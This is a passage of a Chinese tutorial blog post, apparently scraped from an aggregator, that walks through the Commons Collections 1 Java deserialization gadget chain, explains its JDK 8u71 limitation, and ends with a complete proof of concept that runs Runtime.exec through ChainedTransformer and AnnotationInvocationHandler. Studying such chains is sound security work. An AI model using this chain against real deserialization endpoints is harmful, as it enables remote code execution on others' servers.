这里我们将Runtime.getRuntime()
换成了 Runtime.class
,前者是一个 java.lang.Runtime
对象,后者是一个 java.lang.Class
对象 。Class类有实现Serializable
接口,所以可以被序列化的 。
这里是传入一个Runtime.class
,通过反射拿到Runtime.getRuntime()
,然后再反射拿到invoke
方法 , 再反射拿到exec
方法 。
仍然无法触发漏洞修改Transformer
数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么呢?
文章插图
这个实际上和
AnnotationInvocationHandler
类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler#readObject
的逻辑中 , 有一个if语句对var7进行判断,只有在其不是null
的时候才会进入里面执行setValue
,否则不会进入也就不会触发漏洞:class AnnotationInvocationHandler implements InvocationHandler, Serializable {private final Class<? extends Annotation> type;private final Map<String, Object> memberValues;AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {this.type = var1;this.memberValues = var2;}private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {//this.type是实例化的时候传入的jdk自带的Target.class//getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {return;}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}}
那么如何让这个var7不为null呢?两个条件sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是Annotation
的子类,且其中必须含有至少一个方法,假设方法名是X- 被
TransformedMap.decorate
修饰的Map中必须有一个键名为X
的元素
Retention.class
的原因 , 因为Retention有一个方法,名为value
;所以,为了再满足第二个条件,需要给Map中放入一个Key是value
的元素:innerMap.put("value", "xxxx");
8u71再次修改POC
之后,我们在本地进行测试,发现已经可以成功弹出计算器了 。文章插图
但是 , 当我们拿着这串序列化流,跑到服务器上进行反序列化时就会发现 , 又无法成功执行命令 了 。这又是为什么呢?
我这儿是拿到另一个
Java 8u71
以前版本的服务器上进行测试的,在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject
函数jdk8u/jdk8u/jdk: f8a528d0379d (java.net)
文章插图
对于这次修改 , 乍一看好像原因就是没有了
setValue
,其实不然 , 可以看到上边是新增了一个LinkedHashMap
对象,并将原来的键值添加进去,所以,后续对Map的操作都是基于这个新的LinkedHashMap
对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了小结整体的POC如下
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class Test {public static void main(String[] args) throws Exception {Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};ChainedTransformer chain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, chain);innerMap.put("value","xxxx");Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream array = new ByteArrayOutputStream();ObjectOutputStream writeojb = new ObjectOutputStream(array);writeojb.writeObject(obj);writeojb.close();System.out.println(array);ObjectInputStream readobj = new ObjectInputStream(new ByteArrayInputStream(array.toByteArray()));readobj.readObject();}}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 猫之城浪花约会怎么配队
- 星之彼端丹铜事件该如何选择
- 星之彼端叶灵事件该怎么选择
- 三星s21怎么截图_三星s21的截图方法
- 又拍云之 Keepalived 高可用部署
- JVM调优工具使用手册
- 记一次多个Java Agent同时使用的类增强冲突问题及分析
- Java使用lamda表达式简化代码
- 许褚怎么牺牲的(三国名将许褚之死)
- 我的Vue之旅 10 Gin重写后端、实现页面详情页 Mysql + Golang + Gin